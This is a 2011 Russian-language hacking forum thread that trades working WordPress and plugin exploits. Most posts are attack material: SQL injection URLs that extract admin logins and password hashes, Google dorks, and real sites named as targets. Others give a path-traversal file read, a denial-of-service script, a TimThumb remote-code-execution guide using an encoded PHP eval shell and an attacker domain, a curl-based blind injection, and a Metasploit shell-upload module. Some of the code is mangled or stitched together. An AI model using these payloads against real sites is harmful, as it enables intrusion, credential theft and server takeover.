$excerpt = wp_html_excerpt($excerpt, 252) . '...';

$post_title = apply_filters('the_title', $post->post_title);
$post_title = strip_tags($post_title);

if ( $to_ping ) {
foreach ( (array) $to_ping as $tb_ping ) {
$tb_ping = trim($tb_ping);
if ( !in_array($tb_ping, $pinged) ) {
trackback($tb_ping, $post_title, $excerpt, $post_id);
$pinged[] = $tb_ping;
} else {
$wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = %d", $post_id) );
}
}
}
}

The $tb_ping variable is passed to the query in line 1657 unescaped.

Exploitation. The logged in user must have publish_posts and edit_published_posts capabilities
(this corresponds to the Author role).

First, the user creates a new post (title/content does not matter); text to put into the “Send Trackbacks” field is:

AAA’,”)),post_title=(select/**/concat(user_login,’|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,

and publishes it. He needs to wait a bit — for wp-cron.php to process the trackback. The get_to_ping() function says that this trackback is to be processed:

AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'

Then the user goes back and edits the post.

Now the user duplicates the text in the “Send Trackbacks” field and updates the post:

AAA’,”)),post_title=(select/**/concat(user_login,’|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,

AAA’,”)),post_title=(select/**/concat(user_login,’|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,

The get_to_ping() function says that these trackbacks are to be processed:

AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'

AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'

Query logging shows that WordPress executes this query (reformatted for the sake of readbility):

UPDATE wp_posts
SET to_ping = TRIM(REPLACE(to_ping, 'AAA','')),post_title=(select/**/concat(user_login,'|',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,' ', ''))
WHERE ID = 11

After that when the user refreshes the page (he may need to wait a bit for wp-cron.php to complete), the admin information is shown in the input box.

Likewise, any information (login salt, nonce salt, email addresses etc) can be disclosed.
The screenshots above are for WordPress 3.0.1 but the vulnerability seems to exist since 2.x branch.

Likewise, any information (login salt, nonce salt, email addresses etc) can be disclosed.
The examples above are for WordPress 3.0.1 but the vulnerability seems to exist since 2.x branch.

Только что проверил на денвере. На 3.0.1 работает, на 3.0.2 нет.

z0mbyak
05.04.2011, 01:11
FBConnect SQL-InJ

Доброго времени суток, ковырял тут водпресс и вот что наковырял)

Тип: SQL-Inj

Плагин: Хрен его знает как он называется точно, так как пасс не подобрал) но какой-то фейсбуковский)

Dork: inurl:"fbconnect_action=myhome"

Собственно PoC:

http://www.sociable.es/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(u ser_login,0x3a,user_pass)z0mbyak,7,8,9,10,11,12+fr om+wp_users--

или

http://binaries.ru/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(u ser_login,0x3a,user_pass)z0mbyak,7,8,9,10,11,12+fr om+wp_users--

P.S. Вроде не боян, хотя с вордпрессом не работаю, поэтому не в курсе)

P.P.S В Google


Результатов: примерно 926 000


Развлекайтесь)))

ta-kyn
05.04.2011, 16:55
Вроде не боян. Респект.

Плагин называется WP-FacebookConnect.

http://wordpress.org/extend/plugins/wp-facebookconnect/

Последняя доступная версия 1.3.1

White Bear
05.04.2011, 17:32
LFI

Vulnerable Plugin: WordPress WP Custom Pages 0.5.0.1

Type vulnerable: LFI

Description: Уязвимость позволяет удаленному пользователю получить доступ с помощью специально сформированного запроса к произвольным файлам на сервере.

-=POC=-


http://localhost/wordpress/wp-content/plugins/wp-custom-pages/wp-
download.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..% 2f..%2fwindows%2fwin.ini

Author: AutoSec Tools

^_WhitE_DeMoN_^
07.04.2011, 17:53
Wordpress 3.0.1 - Remote Denial Of Service Exploit


$url.'wp-links-opml.php?link_cat=--0-0-0-0-0-0-0-0-0-0-0--0-0-0-0-0-0-0-0-0-0-0--0-0-0-0-0-0-0-0-0-0-0--0-0-0-0-0-0-0-0-0-0-0',

CURLOPT_USERAGENT=>'Opera/9.80 (Windows NT 5.1; U; pl) Presto/2.5.24 Version/10.52',

CURLOPT_ENCODING=>'gzip, deflate',

CURLOPT_POST=>1,

CURLOPT_POSTFIELDS=>'search_keywords='.$packet.'0000000000000000000000 00000000000000000000000000000000000000000000000000 0000000000000000000',

CURLOPT_RETURNTRANSFER=>1,

CURLOPT_TIMEOUT=>$timeout,

);

curl_setopt_array($c[$i],$opts);

curl_multi_add_handle($m,$c[$i]);

}

$t=0;

do

{

curl_multi_exec($m,$r);

usleep(100000);

$t++;

if($t>$ptimeout)

{

curl_multi_close($m);

for($i=0;$i0);

echo'.';

}

?>

XAMEHA
30.04.2011, 15:08
Было время, нашёл уязвимость под нужный двиг:

SQL-иньекция:URL:/wp-content/plugins/wpforum/sendmail.php

Версия: WordPress 2.7.1

Уязвимый параметр: GET-id

Эксплоит: /wp-content/plugins/wpforum/sendmail.php?action=quote&id=1+union+select+1,2,3+--+

ta-kyn
18.05.2011, 15:52
2SergioBlog возможно, Flash XSS.

_http://www.securitylab.ru/analytics/216391.php

_http://www.inattack.ru/article/572.html

+ моя заметка _http://ramb.datapunk.ru/index.php/2011/04/flash-xss-persistent/

абвгдешка
12.07.2011, 11:11
WordPress 3.1.3 SQL Injection Vulnerabilities


SEC Consult Vulnerability Lab Security Advisory
================================================== =====================
title: Multiple SQL Injection Vulnerabilities
product: WordPress
vulnerable version: 3.1.3/3.2-RC1 and probably earlier versions
fixed version: 3.1.4/3.2-RC3
impact: Medium
homepage: http://wordpress.org/
found: 2011-06-21
by: K. Gudinavicius
SEC Consult Vulnerability Lab
https://www.sec-consult.com
================================================== =====================

Vendor description:
-------------------
"WordPress was born out of a desire for an elegant, well-architectured
personal publishing system built on PHP and MySQL and licensed under
the GPLv2 (or later). It is the official successor of b2/cafelog.
WordPress is fresh software, but its roots and development go back to
2001."

Source: http://wordpress.org/about/



Vulnerability overview/description:
-----------------------------------
Due to insufficient input validation in certain functions of WordPress
it is possible for a user with the "Editor" role to inject arbitrary
SQL commands. By exploiting this vulnerability, an attacker gains
access to all records stored in the database with the privileges of the
WordPress database user.



Proof of concept:
-----------------
1) The get_terms() filter declared in the wp-includes/taxonomy.php file
does not properly validate user input, allowing an attacker with
"Editor" privileges to inject arbitrary SQL commands in the "orderby"
and "order" parameters passed as array members to the vulnerable filter
when sorting for example link categories.

The following URLs could be used to perform blind SQL injection
attacks:

http://localhost/wp-admin/edit-tags.php?taxonomy=link_category&orderby=[SQL
injection]&order=[SQL injection]
http://localhost/wp-admin/edit-tags.php?taxonomy=post_tag&orderby=[SQL
injection]&order=[SQL injection]
http://localhost/wp-admin/edit-tags.php?taxonomy=category&orderby=[SQL
injection]&order=[SQL injection]


2) The get_bookmarks() function declared in the
wp-includes/bookmark.php file does not properly validate user input,
allowing an attacker with "Editor" privileges to inject arbitrary SQL
commands in the "orderby" and "order" parameters passed as array
members to the vulnerable function when sorting links.

The following URL could be used to perform blind SQL injection attacks:

http://localhost/wp-admin/link-manager.php?orderby=[SQL
injection]&order=[SQL injection]


Vulnerable / tested versions:
-----------------------------
The vulnerability has been verified to exist in version 3.1.3 of
WordPress, which is the most recent version at the time of discovery.


Vendor contact timeline:
------------------------
2011-06-22: Contacting vendor through security () wordpress org
2011-06-22: Vendor reply, sending advisory draft
2011-06-23: Vendor confirms security issue
2011-06-30: Vendor releases patched version
2011-07-01: SEC Consult publishes advisory



Solution:
---------
Upgrade to version 3.1.4 or 3.2-RC3


Workaround:
-----------
A more restrictive role, e.g. "Author", could be applied to the user.



Advisory URL:
-------------
https://www.sec-consult.com/en/advisories.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~
SEC Consult Unternehmensberatung GmbH

Office Vienna
Mooslackengasse 17
A-1190 Vienna
Austria

Tel.: +43 / 1 / 890 30 43 - 0
Fax.: +43 / 1 / 890 30 43 - 25
Mail: research at sec-consult dot com
https://www.sec-consult.com

EOF K. Gudinavicius / @2011

Kuteke
16.07.2011, 15:52
Доброго времени суток, ковырял тут водпресс и вот что наковырял)
Тип: SQL-Inj
Плагин: Хрен его знает как он называется точно, так как пасс не подобрал) но какой-то фейсбуковский)
Dork: inurl:"fbconnect_action=myhome"
Собственно PoC:
http://www.sociable.es/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(u ser_login,0x3a,user_pass)z0mbyak,7,8,9,10,11,12+fr om+wp_users--
или
http://binaries.ru/?fbconnect_action=myhome&fbuserid=1+and+1=2+union+select+1,2,3,4,5,concat(u ser_login,0x3a,user_pass)z0mbyak,7,8,9,10,11,12+fr om+wp_users--
P.S. Вроде не боян, хотя с вордпрессом не работаю, поэтому не в курсе)
P.P.S В Google
Развлекайтесь)))


Набросал мини-прогу:

http://pics.kz/s1/ab/7f/82/ab7f82495073dcdeb100a2ee53802197.jpg​Мечта всех! Кнопка "Взломать" теперь работает

http://pics.kz/s4/8e/63/9a/8e639a3055f2a69c08b652628ee3fa75.jpg ​Инструкция:

Находим уязвимые сайт и вводим в прогу без http:// и без слешов(/)

Типа binaries.ru и получаем логин:пасс в Result

Скачать: _http://rghost.ru/14736221

абвгдешка
03.08.2011, 22:41
WordPress TimThumb Plugin - Remote Code Execution

http://www.exploit-db.com/wp-content/themes/exploit/screenshots/idlt18000/download-attachment-1.png


# Exploit Title: WordPress TimThumb Plugin - Remote Code Execution
# Google Dork: inurl:timthumb ext:php -site:googlecode.com -site:google.com
# Date: 3rd August 2011
# Author: MaXe
# Software Link: http://timthumb.googlecode.com/svn-history/r141/trunk/timthumb.php
# Version: 1.32
# Screenshot: See attachment
# Tested on: Windows XP + Apache + PHP (XAMPP)


WordPress TimThumb (Theme) Plugin - Remote Code Execution


Versions Affected:
1.* - 1.32 (Only version 1.19 and 1.32 were tested.)
(Version 1.33 did not save the cache file as .php)


Info: (See references for original advisory)
TimThumb is an image resizing utility, widely used in many WordPress themes.


External Links:
http://www.binarymoon.co.uk/projects/timthumb/
http://code.google.com/p/timthumb/

Credits:
- Mark Maunder (Original Researcher)
- MaXe (Indepedendent Proof of Concept Writer)


-:: The Advisory ::-
TimThumb is prone to a Remote Code Execution vulnerability, due to the
script does not check remotely cached files properly. By crafting a
special image file with a valid MIME-type, and appending a PHP file at
the end of this, it is possible to fool TimThumb into believing that it
is a legitimate image, thus caching it locally in the cache directory.


Attack URL: (Note! Some websites uses Base64 Encoding of the src GET-request.)
http://www.target.tld/wp-content/themes/THEME/timthumb.php?src=http://blogger.com.evildomain.tld/pocfile.php

Stored file on the Target: (This can change from host to host.)
1.19: http://www.target.tld/wp-content/themes/THEME/cache/md5($src);
1.32: http://www.target.tld/wp-content/themes/THEME/cache/external_md5($src);
md5($src); means the input value of the 'src' GET-request - Hashed in MD5 format.


Proof of Concept File:
\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x 00
\xFF\xFF\xFF\x00\x00\x00\x21\xF9\x04\x01\x00\x00\x 00
\x00\x2C\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x 02
\x44\x01\x00\x3B\x00\x3C\x3F\x70\x68\x70\x20\x40\x 65
\x76\x61\x6C\x28\x24\x5F\x47\x45\x54\x5B\x27\x63\x 6D
\x64\x27\x5D\x29\x3B\x20\x3F\x3E\x00

(Transparent GIF +



-:: Solution ::-
Update to the latest version 1.34 or delete the timthumb file.

NOTE: This file is often renamed and you should therefore issue
a command like this in a terminal: (Thanks to rAWjAW for this info.)
find . | grep php | xargs grep -s timthumb


Disclosure Information:
- Vulnerability Disclosed (Mark Maunder): 1st August 2011
- Vulnerability Researched (MaXe): 2nd August 2011
- Disclosed at The Exploit Database: 3rd August 2011



References:
http://markmaunder.com/2011/zero-day-vulnerability-in-many-wordpress-themes/
http://markmaunder.com/2011/technical-details-and-scripts-of-the-wordpress-timthumb-php-hack/
http://code.google.com/p/timthumb/issues/detail?id=212
http://programming.arantius.com/the+smallest+possible+gif

Unknown
04.08.2011, 18:16
PLUGIN :: [0day] AlixcaN Canlı Yayın Eklentisi ver.1.0 [SQL-inj]

alixcan_life_f.php


0){echo'Gönderdiğiniz Feedler





ID

Mesaj

Tarih



';

while ($row=mysql_fetch_object($s ql)){

echo'';

echo''.$ro w->id.'';

echo''.$ro w->baslik.'';

echo''.$ro w->date.'';

echo'';

}

}

echo'';

if($sayfalar>=1&&$sayfaSayfalar: ';

$link='index.php?feedlist=alix_feed_list&';

for($x=1;$x';

echo ($x==$sayfa) ?''.$x.' ':'' .$x.' ';

echo'';

}

echo'';

}







echo'Feed Gönder';

}elseif(isset($_GET['edit']) =='dashboard_alix_live#dashboard_alix_live'){

echo'

Kullanımı Cok Basit Ve Bloğ una Bağlı Bir Yazar İçin Gayet Hoş Bir Eklenti.

Facebooktaki "Ne Düşünüyorsunuz?" Mantığı İle Benzer. Bir Yazı, Resim V eya Hem Yazı Hem Resim Paylaşma İmkanı Sağlamaktadır.

Bu Yazıları



[alixcan_live_feed] - Tüm Yazıları Listeler


[alixcan_live_feed id=""] - Belirlediğiniz Yazıyı İstediğiniz Yerde Listeler



Yukarıdaki Shortcodeları Kulla narak İstediğiniz Şekilde Listeletebilirsini z.

';

} else{?>



$baslik,

'resim'=>$resim,

'date'=>$date

);

$wpdb->insert('wp_alixlivefeed',$veri_dizisi);

echo'Yazı Eklendi';

}/*submittwit bitimi */?>



jQuery(document).ready(function() {

jQuery('#upload_image_button').click(funct ion() {

formfield = jQuery('#upload_image').at tr('name');

tb_show('', 'media-upload.php?type=image&amp;TB_iframe=true');

return false;

});

window.send_to_editor = function(html) {

imgurl = jQuery('img',html).attr('src' );

jQuery('#upload_image').val(imgurl);

tb_remove();

}

});





Başlık:En Fazla 255 Karakter







Resim:





Resim Dosyası Yükleyebilirsini z Yada Direk Link Yazabilirsiniz.Dosya Yükle ndikten Sonra Yazıya Dahil Et Butonuna Bas nız Link Otomatik Eklenicektir



" />







Feedleri Listele

Kapat':'Hakkında';

wp_add_dashboard_widget('alixcan_live_feed_ali',__ ('Canlı Yayın & Live Feed'.$yazi.''),'alixcan_live_feed_ali');

}

add_action('wp_dashboard_setup','alixcan_live_feed _setup');

functionhead_ekle(){

echo'';

}

add_action('wp_head','head_ekle');

add_shortcode('alixcan_live_feed','alixcan_live_fe ed_shortcode');

functionalixcan_live_feed_shortcode($atts,$content =null){

global$post;

extract(shortcode_atts( array('id'=>'') ,$atts) );

if(empty($id)){





$sayfa_basina=10;

$sayfa_sor=mysql_query("SELECT COUNT(`id`) FROM `wp_alixlivefeed`");

$sayfalar=ceil(mysql_result($sayfa_sor,0) /$sayfa_basina);



$sayfa= (isset($_GET['alix_sayfa'])) ? (int)abs($_GET['alix_sayfa']) :1;

$basla= ($sayfa-1) *$sayfa_basina;



$sql=mysql_query("SELECT * FROM wp_alixlivefeed LIMIT$basla,$say fa_basina");

if(mysql_num_rows($sql)>0){echo'

';

while ($row=mysql_fetch_object($sql)){

echo'';

echo (!em pty($row->resim)) ?'resim.'" target="_blank" title="'.$row->baslik.'">resim.'" />':'';

echo$row->baslik.'
'.$row->date.'





';

}echo'';

}else{

echo'Henüz İçerik Girilmemiş ';

}





if($sayfalar>=1&&$sayfaSayfalar: ';

$link=get_option('home').'?p='.get_the_ID();

for($x=1;$x';

echo ($x==$sayfa) ?''.$x.' ':'' .$x.' ';

echo'';

}

echo'';

}

echo'';



}else{



$sqlsor=mysql_query("SELECT * FROM wp_alixlivefeed WHERE id='$id'");

$row=mysql_fetch_object($sqlsor);

echo'

';

echo'';

echo (!empty($row->resim)) ?'resim.'" target="_blank" title="'.$row->baslik.'">resim.'" />':'';

echo$row->baslik.'
'.$row->date.'







';



}//else

}// func biter[/COLOR]

exploit:


http://wp/?alixcan_live_feed=news&id=1+UNION+SELECT+group_concat(user_login,0x3a,use r_pass+SEPARATOR+0x3c62723e),2,3,4+FROM+wp_users--

Tigger
05.08.2011, 05:34
Kuteke, вы вкурсе, что в таблицах вордпреса нет полей указывающий на админов ресурса?! Выложите хотя бы регулярку, чтобы понять какого на угад юзера выдает ваш код...


https://rdot.org/forum/showpost.php?p=2620&postcount=10

абвгдешка
06.08.2011, 10:35
[COLOR="DarkGreen"][B][SIZE="2"]ProPlayer plugin tablePrefix."proplayer_playlist WHERE (POST_ID='$id')");
$playlistRow = mysql_fetch_row($query);

return $this->withBackwardCompatibility($playlistRow[2]);
}

...

if (!empty($_GET["pp_playlist_id"])) {
header("Content-type: application/xml");
$xml = $playlistController->getPlaylist($_GET["pp_playlist_id"]);
[/CODE]

SergioBlog
06.08.2011, 17:03
Подскажите по заливке шелла в WordPress MU 2.9.1.1, там можно заливать в аттачментах к постам php, php4 файлы(добавил типы файлов в доверенные) - но они не выполняются а просто показывает код.

Редактировать темы тоже почему-то не могу - нету такого раздела в Appearance.a

абвгдешка
06.08.2011, 17:31
[COLOR="DarkGreen"][B][SIZE="2"]Media Library Categories

Expl0ited
15.08.2011, 18:49
WordPress TimThumb Plugin - Remote Code Execution


Собственно пошаговая инструкция:

1. Регистрируем домен: blogger.com.hacker.com

2. Создаем скрипт shell.php с таким содержимым:




3. Идем сюда: http://target.com/wp-content/plugins/module/timthumb.php?src=http://blogger.com.hacker.com/shell.php

4. Шелл тут: http://target.com/wp-content/plugins/module/cache/75ee2a70bd93faa5ae8ef9b823b8abae.php *

* имя файла это md5('http://blogger.com.hacker.com/shell.php')

абвгдешка
17.08.2011, 11:50
[COLOR="DarkGreen"][SIZE="2"][B]WordPress IP-Logger Plugin

DeleTeeeX
29.08.2011, 17:06
Exploit Title: WordPress Collision Testimonials plugin


# Exploit Title: WordPress Collision Testimonials plugin 1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,11 2))),0)

---------------
Vulnerable code
---------------
if (isset($_GET['featQuote'])) {
$id = $_GET['id'];
mysql_query("UPDATE $testimonials SET featured=1 WHERE id=$id");
};

Unknown
04.09.2011, 00:03
DJ On Air Widget SQL-inj


.....

$dj_ids=$wpdb->get_results("SELECT `meta`.`user_id` FROM ".$wpdb->prefix."usermeta AS `meta`

WHER E `meta_key` = 'shifts'

AND `meta_value` LIKE '%".$sDayTime."%';"

);

.....

foreach($dj_idsas$id) {

$fetch=$wpdb->get_row("SELECT * FROM ".$wpdb->prefix."users AS `user` WHERE `user`.`ID` = ".$id->user_id.";");



$djs[] =$fetch;

}

.....

exploit:


http://wp/?dj-on-air=users&sdate=21-06-1945%+UNION+SELECT+1,2,3,4,5,group_concat(user_log in,0x3a,user_pass+separator+0x3c62723e)+FROM+wp_us ers+WHERE+ID+IN+(SELECT+user_id+FROM+wp_usermeta+W HERE+meta_value=0x613A313A7B733A31333A2261646D696E 6973747261746F72223B623A313B7D)--+

Timthumb Vulnerability Scanner раскрытие путей

этот ваще пена xD


....

if(isset($_REQUEST['cg-action'])){

switch($_REQUEST['cg-action']){

case'scan':

include_once'cg-tvs-filescanner.php';

$scanner= newCG_FileScanner(WP_CONTENT_DIR);

$scanner->generate_inventory();

$scanner->scan_inventory();

update_option('cg_tvs_last_checked',date("Y-m-d H:i:s"));

update_option('cg_tvs_vulnerable_files',$scanner->VulnerableFiles);

update_option('cg_tvs_safe_files',$scanner->SafeFiles);

case'fix':

$nonce=$_GET['_wpnonce'];

if(wp_verify_nonce($nonce,'fix _timthumb_file')){

$fix_path=urldecode($_GET['file']);

$src_file_path=trailingslashit(dirname(__FILE__)). 'cg-tvs-timthumb-latest.txt';

if(FALSE!==$fr= @fopen($s rc_file_path,'r')){

$latest_src=fread($fr,filesize($src_file_path));

fclose($fr);

}else{

$message="CAN'T READ TIMTHUMB SOURCE FILE";

break;

}

if(FALSE!==$fw= @fopen($f ix_path,'w')){

if(fwrite($fw,$latest_ src)){

$message="File ".basename($fix_path)." at ".$fix_path." successfully upgraded.";

}else{

$message="Unknown file write error.";

}

}else{

$message="CAN'T OPEN VULNERABLE FILE FOR WRITING";

break;

}

....

exploit:


http://wp/wp-content/plugins/tvulnerscanner/cg-tvs-filescanner.php?file[]=

абвгдешка
09.09.2011, 21:21
[COLOR="DarkGreen"][SIZE="3"]Wordpress Event Registration plugin

golnzales
15.09.2011, 02:28
WP Photo Album Plus 4.0.12

#1 Blind SQLi @ wppa-functions.php:


function wppa_crumb_page_ancestors($sep, $page = '0') {
global $wpdb;
global $wppa;

$query = "SELECT post_parent FROM " . $wpdb->posts . " WHERE post_type = 'page' AND post_status = 'publish' AND id = " . $page . " LIMIT 0,1";
$parent = $wpdb->get_var($query);
if (!is_numeric($parent) || $parent == '0') return;
wppa_crumb_page_ancestors($sep, $parent);
$query = "SELECT post_title FROM " . $wpdb->posts . " WHERE post_type = 'page' AND post_status = 'publish' AND id = " . $parent . " LIMIT 0,1";
$title = $wpdb->get_var($query);
if (!$title) {
$title = '****'; // Page exists but is not publish
$wppa['out'] .= wppa_nltab().'';
$wppa['out'] .= wppa_nltab().''.$title.$sep.'';
} else {
$wppa['out'] .= wppa_nltab().''.$title.'';
$wppa['out'] .= wppa_nltab().''.$sep.'';
}
}

переменная $page из _GET не фильтруется.

exploit:

Если уровень вложения страницы галеры > 1, то при кривом запросе родительский элемент пропадает из навигации хлебных крошек.

#2 SQLi @ wppa-functions.php


$thumbs = $wpdb->get_results('SELECT * FROM '.WPPA_PHOTOS.' WHERE mean_rating > 0 AND album = '.$alb.' ORDER BY mean_rating DESC LIMIT '.$max, 'ARRAY_A');

exploit:

somehomst.com/?page_id=9&topten=1&album=1 UNION ALL SELECT 1,2,3,version(),5,6,7,8,9,10--

SergioBlog
16.09.2011, 20:08
Кто-нибудь заливал шелл через плагин contact form 7?

tch
16.09.2011, 23:19
Кто подскажет как сейчас обстоят дела сookies для WP?

SpaceMan
18.09.2011, 08:41
подскажите сплоит под WordPress 2.8.6

RexTiam
18.09.2011, 18:15
[B]WordPress WP e-Commerce plugin 1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,11 2))),0)%23&cs3=123f7bcd4ba53fade05886a7e77bf045&transaction_type=rebill
e.g.
#!/bin/bash
payload="-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,11 2))),0)#"
hash=`echo -n $payload | md5sum | tr -d '\n' | sed 's/\s*-\s*//g' | md5sum | tr -d '\n' | sed 's/\s*-\s*//g'`
curl --data "cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill" http://www.site.com/?chronopay_callback=true
---------------
Vulnerable code
---------------
./wp-e-commerce/wp-shopping-cart.php:
class WP_eCommerce {
function WP_eCommerce() {
add_action( 'plugins_loaded', array( $this, 'init' ), 8 );
}
function init() {
...
$this->load();
...
}
function load() {
...
wpsc_core_load_gateways();
...
}
...
$wpec = new WP_eCommerce();
./wp-e-commerce/wpsc-core/wpsc-functions.php:
function wpsc_core_load_gateways() {
global $nzshpcrt_gateways, $num, $wpsc_gateways,$gateway_checkout_form_fields;
$gateway_directory = WPSC_FILE_PATH . '/wpsc-merchants';
$nzshpcrt_merchant_list = wpsc_list_dir( $gateway_directory );
$num = 0;
foreach ( $nzshpcrt_merchant_list as $nzshpcrt_merchant ) {
if ( stristr( $nzshpcrt_merchant, '.php' ) ) {
require( WPSC_FILE_PATH . '/wpsc-merchants/' . $nzshpcrt_merchant );
}
./wp-e-commerce/wpsc-merchants/chronopay.php:
function nzshpcrt_chronopay_callback()
{
...
if(isset($_GET['chronopay_callback']) && ($_GET['chronopay_callback'] == 'true') && ($_POST['cs2'] == 'chronopay'))
{
$salt = get_option('chronopay_salt');
// - this is by default '' and set only if explicitly stated
// inside Store Settings->Payments->General Settings->
// Chronopay->Edit->Security Key
// - problem is that there are more popular payment gateways enlisted (e.g.
// Google Checkout and PayPal) and if that setting is not explicitly set
// it wide opens the door to the potential attacker
$gen_hash = md5($salt . md5($_POST['cs1'] . $salt));
if($gen_hash == $_POST['cs3'])
{
...
$sessionid = trim(stripslashes($_POST['cs1']));
$transaction_id = trim(stripslashes($_POST['transaction_id']));
$verification_data['trans_id'] = trim(stripslashes($_POST['transaction_id']));
$verification_data['trans_type'] = trim(stripslashes($_POST['transaction_type']));
switch($verification_data['trans_type'])
{
...
case 'rebill':
$wpdb->query("UPDATE `".WPSC_TABLE_PURCHASE_LOGS."` SET
`processed` = '2',
`transactid` = '".$transaction_id."',
`date` = '".time()."'
WHERE `sessionid` = ".$sessionid." LIMIT 1");
...
add_action('init', 'nzshpcrt_chronopay_callback');

[/QUOTE]
" if author else f"

---------------
PoC (POST data)
---------------
http://www.сайт.com/?chronopay_callback=true
cs2=chronopay&cs1=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,11 2))),0)%23&cs3=123f7bcd4ba53fade05886a7e77bf045&transaction_type=rebill
e.g.
#!/bin/bash
payload="-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,11 2))),0)#"
hash=`echo -n $payload | md5sum | tr -d '\n' | sed 's/\s*-\s*//g' | md5sum | tr -d '\n' | sed 's/\s*-\s*//g'`
curl --data "cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill" http://www.site.com/?chronopay_callback=true
---------------
Vulnerable code
---------------
./wp-e-commerce/wp-shopping-cart.php:
class WP_eCommerce {
function WP_eCommerce() {
add_action( 'plugins_loaded', array( $this, 'init' ), 8 );
}
function init() {
...
$this->load();
...
}
function load() {
...
wpsc_core_load_gateways();
...
}
...
$wpec = new WP_eCommerce();
./wp-e-commerce/wpsc-core/wpsc-functions.php:
function wpsc_core_load_gateways() {
global $nzshpcrt_gateways, $num, $wpsc_gateways,$gateway_checkout_form_fields;
$gateway_directory = WPSC_FILE_PATH . '/wpsc-merchants';
$nzshpcrt_merchant_list = wpsc_list_dir( $gateway_directory );
$num = 0;
foreach ( $nzshpcrt_merchant_list as $nzshpcrt_merchant ) {
if ( stristr( $nzshpcrt_merchant, '.php' ) ) {
require( WPSC_FILE_PATH . '/wpsc-merchants/' . $nzshpcrt_merchant );
}
./wp-e-commerce/wpsc-merchants/chronopay.php:
function nzshpcrt_chronopay_callback()
{
...
if(isset($_GET['chronopay_callback']) && ($_GET['chronopay_callback'] == 'true') && ($_POST['cs2'] == 'chronopay'))
{
$salt = get_option('chronopay_salt');
// - this is by default '' and set only if explicitly stated
// inside Store Settings->Payments->General Settings->
// Chronopay->Edit->Security Key
// - problem is that there are more popular payment gateways enlisted (e.g.
// Google Checkout and PayPal) and if that setting is not explicitly set
// it wide opens the door to the potential attacker
$gen_hash = md5($salt . md5($_POST['cs1'] . $salt));
if($gen_hash == $_POST['cs3'])
{
...
$sessionid = trim(stripslashes($_POST['cs1']));
$transaction_id = trim(stripslashes($_POST['transaction_id']));
$verification_data['trans_id'] = trim(stripslashes($_POST['transaction_id']));
$verification_data['trans_type'] = trim(stripslashes($_POST['transaction_type']));
switch($verification_data['trans_type'])
{
...
case 'rebill':
$wpdb->query("UPDATE `".WPSC_TABLE_PURCHASE_LOGS."` SET
`processed` = '2',
`transactid` = '".$transaction_id."',
`date` = '".time()."'
WHERE `sessionid` = ".$sessionid." LIMIT 1");
...
add_action('init', 'nzshpcrt_chronopay_callback');

RexTiam
18.09.2011, 18:17
Wordpress 1 Flash Gallery Plugin Arbiraty File Upload Exploit (MSF)


# # Поиск в гугле: inurl:"wp-content/plugins/1-flash-gallery"
require 'msf/core'
class Metasploit3 '1 Flash Gallery Wordpress Plugin File Upload Exploit',
'Description' => %q{
This module exploits an arbitrary file upload vulnerability in
the '1 Flash Gallery' Wordpress plugin.
},
'Author' => [ 'Ben Schmidt'],
'License' => MSF_LICENSE,
'References' => ["http://spareclockcycles.org/2011/09/06/flash-gallery-arbitrary-file-upload/" ],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
# Arbitrary big number. The payload gets sent as an HTTP
# POST request, so it's possible this might be smaller (maybe?)
# but very unlikely.
'Space' => 262144, # 256k
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sept 6, 2011'
))
register_options([
OptString.new('URI', [true, "Path to Wordpress", "/"]),
], self.class)
end
def exploit
boundary = rand_text_alphanumeric(6)
fn = rand_text_alphanumeric(8)
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filedata\"; "
data datastore['URI'] + "/wp-content/plugins/1-flash-gallery/upload.php?action=uploadify&fileext=php",
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
'Content-Length' => data.length,
}
}, 25)
if (res)
print_status("Successfully uploaded shell.")
shell_path = res.body.split("_")[0]
print_status("Trying to access shell at #{shell_path}...")
res = send_request_raw({
'uri' => datastore['URI'] + shell_path,
'method' => 'GET',
}, 0.01)
else
print_error("Error uploading shell")
end
handler
end
end

fl00der
27.09.2011, 19:53
Ребят, подскажите, есть ли актуальный сканер плагинов вп, который позволял бы узнать, какие плагины установлены?

_Spamer_
27.09.2011, 19:58
fl00der/thread291666.html

*AbramDubin
29.09.2011, 23:47
Подскажите хорошую статью по уснановке WP на IIS 7

Unknown
30.09.2011, 19:08
easy-color-manager #plugin# shell upload

easy-color-manager.php


...









